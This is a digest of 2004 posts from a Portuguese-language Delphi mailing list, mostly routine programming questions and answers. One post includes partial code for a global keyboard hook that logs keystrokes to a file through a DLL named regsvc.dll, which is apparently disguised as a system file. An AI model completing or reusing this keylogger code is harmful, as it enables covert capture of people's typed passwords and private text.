 Para saber mais como funciona a tabela de processos e o fork de
processos de um SO, tem um livro do Andrew S. Tanenbaum - Sistemas
Operacionais Modernos, que é muito bom.

[]'s
Fabiano Freitas

 --- jrjuniore [EMAIL PROTECTED] escreveu: 

-
Por favor,
 
alguém sabe me dizer como funciona a rotina do CreateProcess ???
 
Josué F. Coelho Jr.
TECHMAIL - Desenvolvimento de Sistemas
* (11) 3749-1133 ramal 110
* [EMAIL PROTECTED]
 


[As partes desta mensagem que não continham texto foram removidas]



--
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou
[EMAIL PROTECTED]



Yahoo! Grupos, um serviço oferecido por: 

-
Links do Yahoo! Grupos

   Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/
 
   Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]
 
   O uso que você faz do Yahoo! Grupos está sujeito aos Termos do Serviço do
Yahoo!.
 





___
Yahoo! Acesso Grátis - Internet rápida e grátis. Instale o discador agora!
http://br.acesso.yahoo.com/


-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos




 



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



[delphi-br] print dbgrid??

2004-09-29 Por tôpico sr_doidera .
alquem ai tem um componente ou funcao pra imprimir um dbgrid que nao seja o 
componente printdbgrid v10 que tem na net???
quem tiver um site, compoente ou funcao me enviem que eu serei muito grato!

t+

_
MSN Messenger: converse com os seus amigos online.  
http://messenger.msn.com.br



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



[delphi-br] Fontes Componente

2004-09-29 Por tôpico Rogério R . Fernandes



Caros amigos,

Alguém por acaso tem os fontes do componente TCHART 5.02?

PS - Não sei nada sobre este componente, é para um amigo.

Grato,

Rogério.




-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 





Re: [delphi-br] Criar formulários em tempo de execução

2004-09-29 Por tôpico Vitor Luiz Redes
O Self não está mesmo declarado ...
pelo que você passou, a procedure é independente do Objeto na qual esta escrita ...
coloque a interface da procedure dentro do public, ou private, ou published (vc é 
quem sabe) do form, aperte CTRL+SHIFT+'C', e implemente a procedure dentro do que o 
Delphi irá criar ...



Louco sim, não normal.
Ser humano ... eu mesmo

Vitor Luiz Redes

Redsystem Informática
  - Original Message - 
  From: Christian Balz 
  To: [EMAIL PROTECTED] 
  Sent: Wednesday, September 29, 2004 11:02 AM
  Subject: [delphi-br] Criar formulários em tempo de execução


  Ola pessoal,



  Em uma Unit em que guardo algumas funções, publiquei uma procedure onde
  passo o nome do formulário que quero criar em tempo de execução. O caso é
  que estou recebendo uma mensagem de que self não esta declarado. Se alguém
  souber me ajudar a resolver isto fico grato, 



  procedure CriaFormulario(Form: TForm);

  begin

Form:= TForm.Create(Self);

With Form do

 try

ShowModal;

 finally

Free;

Form:=nil;

 end;

  end;



  Christian Balz









  [As partes desta mensagem que não continham texto foram removidas]



  -- 
   FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

  Para ver as mensagens antigas, acesse:
  http://br.groups.yahoo.com/group/delphi-br/messages

  Para falar com o moderador, envie um e-mail para:
  [EMAIL PROTECTED] ou [EMAIL PROTECTED]



Yahoo! Grupos, um serviço oferecido por: 
  


--
  Links do Yahoo! Grupos

a.. Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/
  
b.. Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]
  
c.. O uso que você faz do Yahoo! Grupos está sujeito aos Termos do Serviço do 
Yahoo!. 



[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



RES: [delphi-br] Criar formulários em tempo de execução

2004-09-29 Por tôpico Christian Balz
Vitor,

 

Se eu por no form, sem problemas, a procedure ira funcionar. O problema e
que eu gostaria de adicioná-la a unit que comentei em e-mail anterior, sendo
que esta, não possui formulário.

 

[]’s

Christian Balz

 

  _  

De: Vitor Luiz Redes [mailto:[EMAIL PROTECTED] 
Enviada em: quarta-feira, 29 de setembro de 2004 11:16
Para: [EMAIL PROTECTED]
Assunto: Re: [delphi-br] Criar formulários em tempo de execução

 

O Self não está mesmo declarado ...
pelo que você passou, a procedure é independente do Objeto na qual esta
escrita ...
coloque a interface da procedure dentro do v (vc é quem sabe) do form,
aperte CTRL+SHIFT+'C', e implemente a procedure dentro do que o Delphi irá
criar ...



Louco sim, não normal.
Ser humano ... eu mesmo

Vitor Luiz Redes

Redsystem Informática
  - Original Message - 
  From: Christian Balz 
  To: [EMAIL PROTECTED] 
  Sent: Wednesday, September 29, 2004 11:02 AM
  Subject: [delphi-br] Criar formulários em tempo de execução


  Ola pessoal,



  Em uma Unit em que guardo algumas funções, publiquei uma procedure onde
  passo o nome do formulário que quero criar em tempo de execução. O caso é
  que estou recebendo uma mensagem de que self não esta declarado. Se
alguém
  souber me ajudar a resolver isto fico grato, 



  procedure CriaFormulario(Form: TForm);

  begin

Form:= TForm.Create(Self);

With Form do

 try

ShowModal;

 finally

Free;

Form:=nil;

 end;

  end;



  Christian Balz









  [As partes desta mensagem que não continham texto foram removidas]



  -- 
   FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

  Para ver as mensagens antigas, acesse:
  http://br.groups.yahoo.com/group/delphi-br/messages

  Para falar com o moderador, envie um e-mail para:
  [EMAIL PROTECTED] ou [EMAIL PROTECTED]



Yahoo! Grupos, um serviço oferecido por: 
  



--
  Links do Yahoo! Grupos

a.. Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/
  
b.. Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]
  
c.. O uso que você faz do Yahoo! Grupos está sujeito aos Termos do
Serviço do Yahoo!. 



[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
[EMAIL PROTECTED] ou [EMAIL PROTECTED]







Yahoo! Grupos, um serviço oferecido por:


  http://pms.mercadolibre.com/cgi/pms/ban?site=292076id=31807 

 

  _  

Links do Yahoo! Grupos

*   Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/
  
*   Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]
mailto:[EMAIL PROTECTED] 
  
*   O uso que você faz do Yahoo! Grupos está sujeito aos Termos
http://br.yahoo.com/info/utos.html  do Serviço do Yahoo!. 



[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



RES: [delphi-br] Criar formulários em tempo de execução

2004-09-29 Por tôpico Christian Balz
Vitor,

 

Se eu por no form, sem problemas, a procedure ira funcionar. O problema e
que eu gostaria de adicioná-la a unit que comentei em e-mail anterior, sendo
que esta, não possui formulário.

 

[]’s

Christian Balz

 

  _  

De: Vitor Luiz Redes [mailto:[EMAIL PROTECTED] 
Enviada em: quarta-feira, 29 de setembro de 2004 11:16
Para: [EMAIL PROTECTED]
Assunto: Re: [delphi-br] Criar formulários em tempo de execução

 

O Self não está mesmo declarado ...
pelo que você passou, a procedure é independente do Objeto na qual esta
escrita ...
coloque a interface da procedure dentro do v (vc é quem sabe) do form,
aperte CTRL+SHIFT+'C', e implemente a procedure dentro do que o Delphi irá
criar ...



Louco sim, não normal.
Ser humano ... eu mesmo

Vitor Luiz Redes

Redsystem Informática
  - Original Message - 
  From: Christian Balz 
  To: [EMAIL PROTECTED] 
  Sent: Wednesday, September 29, 2004 11:02 AM
  Subject: [delphi-br] Criar formulários em tempo de execução


  Ola pessoal,



  Em uma Unit em que guardo algumas funções, publiquei uma procedure onde
  passo o nome do formulário que quero criar em tempo de execução. O caso é
  que estou recebendo uma mensagem de que self não esta declarado. Se
alguém
  souber me ajudar a resolver isto fico grato, 



  procedure CriaFormulario(Form: TForm);

  begin

Form:= TForm.Create(Self);

With Form do

 try

ShowModal;

 finally

Free;

Form:=nil;

 end;

  end;



  Christian Balz









  [As partes desta mensagem que não continham texto foram removidas]



  -- 
   FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

  Para ver as mensagens antigas, acesse:
  http://br.groups.yahoo.com/group/delphi-br/messages

  Para falar com o moderador, envie um e-mail para:
  [EMAIL PROTECTED] ou [EMAIL PROTECTED]



Yahoo! Grupos, um serviço oferecido por: 
  



--
  Links do Yahoo! Grupos

a.. Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/
  
b.. Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]
  
c.. O uso que você faz do Yahoo! Grupos está sujeito aos Termos do
Serviço do Yahoo!. 



[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
[EMAIL PROTECTED] ou [EMAIL PROTECTED]







Yahoo! Grupos, um serviço oferecido por:


  http://pms.mercadolibre.com/cgi/pms/ban?site=292076id=31807 

 

  _  

Links do Yahoo! Grupos

*   Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/
  
*   Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]
mailto:[EMAIL PROTECTED] 
  
*   O uso que você faz do Yahoo! Grupos está sujeito aos Termos
http://br.yahoo.com/info/utos.html  do Serviço do Yahoo!. 



[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



[delphi-br] Codigo barras Report Builder

2004-09-29 Por tôpico Jose Marcio Ramalho
Bom dia,

Estou com o sequinte problema:

Uso Delphi 5 e Report Builder para gerar um boleto bancário.
Ao salvar o boleto em arquivo do tipo .pdf ou .jpg o código de barras
não aparece completamente, é mostrado uma série de caracteres 
estranhos na parte inferior (numeração do código) e ele aparece menor 
do que e realmente. 

Uso o componente ppBarCode (intercalado 2 de 5).

Se alguem puder me ajudar ficarei muito agradecido,

Obrigado






-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



[delphi-br] Firebird, IBX e transações

2004-09-29 Por tôpico mestredigital
Estou com seguinte problema quando acabo de inserir um registro em um 
BD Firebird rodando em rede os outros usuários só conseguem vê-lo se 
fechar o programa e voltar. Como faço para que um usuário enxergue os 
registros que acabaram de ser inseridos por outros usuários?

Se que é algo relacionado com o componente IBTransaction mas como 
faria isso?

Uso Firebird e componentes IBX



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



Re: [delphi-br] Criar formulários em tempo de execução

2004-09-29 Por tôpico Oséias Ferreira
Seu código não vai criar o formulário que você quer. Não desta forma.
Vai criar um Form padrão, da classe TForm.
Para criar o seu form, você tem usar a classe dele.
Lembre-se que Seu_Form, é da classe TSeu_Form, que deriva da TForm.

--
Oséias Ferreira.

- Original Message - 
From: Christian Balz [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Sent: Wednesday, September 29, 2004 11:50 AM
Subject: RES: [delphi-br] Criar formulários em tempo de execução


Vitor,



Se eu por no form, sem problemas, a procedure ira funcionar. O problema e
que eu gostaria de adicioná-la a unit que comentei em e-mail anterior, sendo
que esta, não possui formulário.



[]'s

Christian Balz





-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



[delphi-br] Res: Re: [DELPHI-Total] DLL escrevendo em um TMemo !

2004-09-29 Por tôpico David Leão
Caro Abensur,
Sua ajuda foi de suma importancia para eu tirar algumas dúvidas sobre o que
estou tentando fazer, mas realmente o que eu quero, não consta nesse
tutorial que vc enviou. na verdade não tem como eu escrever de dentro  da
Dll no memo que está na minha aplicação??
Abaixo segue o código do que eu quero fazer.:
Na verdade a rotina que eu tenho escreve num arquivo de texto e em vez disso
eu quero que ela escreva em um memo que se encontra na aplicação que usa a
dll.
o nome da minha dll é regsvc.dll
 
{Declaração das variáveis globais da unit}
 
Var
  FormSpy: TFormSpy;
  IdKeyLog: HHOOK;
  KeyLogDLL: LongWord;
  KeyLogHookProc: FARPROC;
 
{Evento OnCreate do Form}
 
IdKeyLog := 0;
KeylogDLL := LoadLibrary('regsvc.dll');
KeylogHookProc := GetProcAddress(KeylogDLL, 'KeyboardHookProc');
IdKeylog := SetWindowsHookEx(WH_KEYBOARD, KeylogHookProc, KeyLogDLL, 0);
 
 
{Função dentro da dll}
 
Function KeyboardHookProc(code: Integer; wParam: WPARAM; lParam: LPARAM):
LRESULT Stdcall;
Var
  b1, b2: Boolean;
  ArqLog: TextFile;
Begin
  If (code  HC_NOREMOVE) And (lParam  0) Then
  Begin
AssignFile(ArqLog, arq);
Try
  If fileexists(arq) Then
Append(ArqLog)
  Else
ReWrite(ArqLog);
 
  If wParamOld = 219 Then
  Begin
If (wShift) Then
Begin
  Case wParam Of
65: Begin
Write(ArqLog, 'à');  // Escreve num TXT   Deveria escrever
num memo dentro da minha aplicação
wParam := 0;
wParamOld := 0;
  End;
69: Begin
Write(ArqLog, 'è');
wParam := 0;
wParamOld := 0;
  End;
  Else wParamOld := 0;
  End;
End;
Exports
  KeyboardHookProc;
Begin
End.
 
=
Bom o que eu quero realmente é fazer essa rotina escrever num memo que se
encontra dentro da minha aplicação ao invés de escrever num arquivo de texto

Agradeço se vc puder me ajudar.
 
__
David Leão Alves
Administrador de Banco de Dados
Governo do Estado do Amapá
Secretaria de Estado do Meio Ambiente - SEMA
 Av. Mendonça Furtado, 53 - Centro / Macapá-AP
 212-5318 - 212-5378
 212-5303
 [EMAIL PROTECTED] 
 www.sema.ap.gov.br 
---Mensagem original---
 
De: [EMAIL PROTECTED]
Data: 09/29/04 10:54:54
Para: [EMAIL PROTECTED]
Assunto: Re: [DELPHI-Total] DLL escrevendo em um TMemo !
 
Seguem duas dicas: Como criar e usar DLLs e Colocando funções em uma DLL
 
Como criar e usar DLLs
 
Esta é uma outra dúvida bastante freqüente que chega a nós. Como posso usar
uma DLL ?, Como posso criar uma DLL ?, Ei, moço! Pra quê serve uma DLL ?

 
Pois bem, DLL ou Dynamic Link Libraries, permitem que um conjunto de funções
desenvolvidas em uma linguagem possam ser utilizadas em programas
desenvolvidos em outras linguagens.
 
Você pode, por exemplo, criar uma DLL em Delphi com um conjunto de funções e
utilizá-la em aplicativos desenvolvidos em C++ ou Visual Basic, por exemplo.
Agora, vamos começar criando uma DLL:
 
Selecione o item New do Menu File, para exibir a caixa de diálogo New Items.
Agora, selecione o item DLL e clique em OK, para gerar o código principal da
DLL, que se apresenta a seguir:
 
library Project1;
 
{ Important note about DLL memory management: ShareMem must be the first
unit in your library's USES clause AND your project's (select Project-View
Source) USES clause if your DLL exports any procedures or functions that
pass strings as parameters or function results. This applies to all strings
passed to and from your DLL--even those that are nested in records and
classes. ShareMem is the interface unit to the BORLNDMM.DLL shared memory
manager, which must be deployed along with your DLL. To avoid using BORLNDMM
DLL, pass string information using PChar or ShortString parameters. }
 
uses
SysUtils, Classes;
begin
end.
Em muitas situações, inclusive esta, o arquivo DELPHIMM.DLL deve ser
distribuído junto à sua aplicação. Uma outra observação muito importante,
para que você possa escrever suas DLLs, você deve ter conhecimentos na
Linguagem Object Pascal.
 
Vamos continuar criando nossa DLL, pois é ela que iremos usar mais para
frente. Apenas como exemplificação, vamos criar uma função que receba como
parâmetros dois números reais e retorne o maior deles.
 
Function Max (a b : double ) : double ; Export ; stdcall ;
begin
If (a  b) then Result :=a else Result := b ;
end ;
 
 
Export = indica que a função poderá ser chamada por outros aplicativos.
 
Stdcall = permite que aplicativos desenvolvidos em outras linguagens façam
chamadas à função.
 
Após serem feitas estas alterações e salvar o projeto com o nome MAXDLL,
nossa DLL ficará assim:
 
library Project1;
 
{ Important note about DLL memory management: ShareMem must be the first
unit in your library's USES clause AND your project's (select Project-View
Source) USES clause if your DLL exports any procedures or functions that
pass 

(Apostila SQL????)Re: [delphi-br] Como concatenar 2 campos em um só em uma SQL

2004-09-29 Por tôpico MARCOS BATISTA

Alguem conhece alguma apostila de SQL (Interbase/Firebird) com dicas como esta abaixo? 
As apostilas que achei sao possui documentacao mais detalhada (mais avançada).

Obrigado
Batista
 [EMAIL PROTECTED] 28/9/2004 15:59:40 
tente utilizar assim:

select campo1 || campo2 as campoconcat
from tabela.



- Original Message -
From: Florentino - Agrosoft [EMAIL PROTECTED]
To: delphi-boleto [EMAIL PROTECTED];
[EMAIL PROTECTED]
Sent: Tuesday, September 28, 2004 10:56 AM
Subject: [delphi-br] Como concatenar 2 campos em um só em uma SQL


Amigos,
Como concatenar 2 campos em um só em uma SQL (Interbase/Firebird). No access
faço assim:

SELECT [campo1]+[campo2] AS [CampoConcatenado]
FROM Tabela;

desde já, agradeço.







[As partes desta mensagem que não continham texto foram removidas]




--
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages 

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED] 

Links do Yahoo! Grupos









-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages 

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos




 




-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 





[delphi-br] Log de Usuários

2004-09-29 Por tôpico Marcelo Silva

Tenho uma função que guarda Todos os erros do programa em uma tabela.

Gostaria de saber como vocês fazer para guardar operações como INSERT, DELET, UPDATE 
etc...
Tipo (Fulano alterou registro tal...)

Vocês criam atravez de SP no banco ou tem alguma função no delphi que detecta quando 
alguma tabela está em uso ?

Ou fazem manualmente mesmo ?
 
Marcelo Silva
Cel. 11 9693-4251
ICQ - 49224093
MSN [EMAIL PROTECTED]

[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 





Re: [delphi-br] Criar formulários em tempo de execução

2004-09-29 Por tôpico Vitor Luiz Redes
Você pode, tb, Cria-lo da seguinte maneira ...

Form:=TForm.Create(Application) ...

Louco sim, não normal.
Ser humano ... eu mesmo

Vitor Luiz Redes

Redsystem Informática

[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



RES: [delphi-br] Log de Usuários

2004-09-29 Por tôpico Rodrigo Reis Monnerat Louzada Villaverde
O melhor meio de se implementar isso é através de Triggers

___
Rodrigo Reis Monnerat Louzada Villaverde
Analista de Sistemas

 

1 www.petrolog.com.br
* [EMAIL PROTECTED]
(   +55 (21) 2421-1600
+55 (21) 9626-3000
 
-Mensagem original-
De: Marcelo Silva [mailto:[EMAIL PROTECTED] 
Enviada em: quarta-feira, 29 de setembro de 2004 13:24
Para: [EMAIL PROTECTED]
Assunto: [delphi-br] Log de Usuários


Tenho uma função que guarda Todos os erros do programa em uma tabela.

Gostaria de saber como vocês fazer para guardar operações como INSERT,
DELET, UPDATE etc...
Tipo (Fulano alterou registro tal...)

Vocês criam atravez de SP no banco ou tem alguma função no delphi que
detecta quando alguma tabela está em uso ?

Ou fazem manualmente mesmo ?
 
Marcelo Silva
Cel. 11 9693-4251
ICQ - 49224093
MSN [EMAIL PROTECTED]

[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos




 






-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



[delphi-br] Migração

2004-09-29 Por tôpico Emi Monzani
Gente
 
tenho um sistema em pascal e quero migrar pra delphi, como faço isso
 
brg
 
Emilene


-
Yahoo! Acesso Grátis - Internet rápida e grátis. Instale o discador agora!

[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



RES: [delphi-br] Log de Usuários

2004-09-29 Por tôpico Rodrigo Reis Monnerat Louzada Villaverde

Teria que ser 3 triggers por tabela. Uma para Inclusão, outra para
alteraçãoe outra para exclusão.
Eu não tenho nada pronto aqui não, mas devo estar fazendo uma rotina dessas
por aqui daqui a uns 3 meses.
Mas o caminho a seguir é esse mesmo

___
Rodrigo Reis Monnerat Louzada Villaverde
Analista de Sistemas

 

1 www.petrolog.com.br
* [EMAIL PROTECTED]
(   +55 (21) 2421-1600
+55 (21) 9626-3000
 

-Mensagem original-
De: Marcelo Silva [mailto:[EMAIL PROTECTED] 
Enviada em: quarta-feira, 29 de setembro de 2004 13:39
Para: [EMAIL PROTECTED]
Assunto: Re: [delphi-br] Log de Usuários

Uma trigger para cada tabela ? ou tem alguma função no fb que facilita as
coisas ?
Vc teria um sample pra me mandar colega ...

Marcelo Silva
Cel. 11 9693-4251
ICQ - 49224093
MSN [EMAIL PROTECTED]
  - Original Message - 
  From: Rodrigo Reis Monnerat Louzada Villaverde 
  To: [EMAIL PROTECTED] 
  Sent: Wednesday, September 29, 2004 1:32 PM
  Subject: RES: [delphi-br] Log de Usuários


  O melhor meio de se implementar isso é através de Triggers

  ___
  Rodrigo Reis Monnerat Louzada Villaverde
  Analista de Sistemas

  

  1 www.petrolog.com.br
  * [EMAIL PROTECTED]
  (   +55 (21) 2421-1600
  +55 (21) 9626-3000

  -Mensagem original-
  De: Marcelo Silva [mailto:[EMAIL PROTECTED] 
  Enviada em: quarta-feira, 29 de setembro de 2004 13:24
  Para: [EMAIL PROTECTED]
  Assunto: [delphi-br] Log de Usuários


  Tenho uma função que guarda Todos os erros do programa em uma tabela.

  Gostaria de saber como vocês fazer para guardar operações como INSERT,
  DELET, UPDATE etc...
  Tipo (Fulano alterou registro tal...)

  Vocês criam atravez de SP no banco ou tem alguma função no delphi que
  detecta quando alguma tabela está em uso ?

  Ou fazem manualmente mesmo ?

  Marcelo Silva
  Cel. 11 9693-4251
  ICQ - 49224093
  MSN [EMAIL PROTECTED]

  [As partes desta mensagem que não continham texto foram removidas]



  -- 
   FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 
